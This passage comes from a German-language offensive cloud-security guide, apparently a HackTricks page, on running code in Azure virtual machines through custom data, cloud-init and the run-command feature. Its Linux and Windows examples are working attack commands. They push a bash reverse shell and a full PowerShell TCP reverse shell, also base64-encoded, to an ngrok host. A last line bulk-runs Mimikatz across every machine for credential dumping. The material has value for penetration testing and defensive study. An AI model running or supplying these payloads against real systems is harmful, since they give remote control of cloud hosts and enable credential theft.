standardmäßig nicht ausgeführt wird**. ### Benutzerspezifische Daten Es ist möglich, einige Daten an die VM zu übergeben, die an den erwarteten Pfaden gespeichert werden: - In **Windows** werden benutzerspezifische Daten in `%SYSTEMDRIVE%\AzureData\CustomData.bin` als Binärdatei abgelegt und nicht verarbeitet. - In **Linux** wurden sie in `/var/lib/waagent/ovf-env.xml` gespeichert und jetzt werden sie in `/var/lib/waagent/CustomData/ovf-env.xml` gespeichert. - **Linux-Agent**: Er verarbeitet benutzerspezifische Daten standardmäßig nicht, ein benutzerdefiniertes Image mit aktivierten Daten ist erforderlich. - **cloud-init:** Standardmäßig verarbeitet es benutzerspezifische Daten, und diese Daten können in [**verschiedenen Formaten**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) vorliegen. Es könnte ein Skript einfach ausführen, indem man nur das Skript in den benutzerspezifischen Daten sendet. - Ich habe versucht, dass sowohl Ubuntu als auch Debian das Skript ausführen, das Sie hier platzieren. - Es ist auch nicht erforderlich, Benutzerdaten zu aktivieren, damit dies ausgeführt wird. ```bash #!/bin/sh echo "Hello World" > /var/tmp/output.txt ``` ### **Befehl ausführen** Dies ist der grundlegendste Mechanismus, den Azure bereitstellt, um **willkürliche Befehle in VMs auszuführen**. Die erforderliche Berechtigung ist `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} ```bash # Execute rev shell az vm run-command invoke \ --resource-group \ --name \ --command-id RunShellScript \ --scripts @revshell.sh # revshell.sh file content echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh ``` {{#endtab }} {{#tab name="Windows" }} ```bash # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action # Execute a rev shell az vm run-command invoke \ --resource-group Research \ --name juastavm \ --command-id RunPowerShellScript \ --scripts @revshell.ps1 ## Get encoded reverse shell echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 ## Create app version with the rev shell ## In Package file link just add any link to a blobl storage file export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMAL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4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" # The content of echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 # Try to run in every machine Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` {{#endtab }} {{#endtabs }} ## Privilegieneskalation {{#ref}} ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}} ## Unauthentifizierter Zugriff {{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md {{#endref}} ## Post-Exploitation {{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md {{#endref}} ## Persistenz {{#ref}} ../../az-persistence/az-vms-persistence.md {{#endref}} ## Referenzen - [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview) - [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/) - [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service) {{#include ../../../../banners/hacktricks-training.md}}